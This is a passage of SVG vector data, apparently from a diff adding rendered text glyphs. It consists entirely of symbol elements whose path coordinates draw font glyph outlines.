-1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 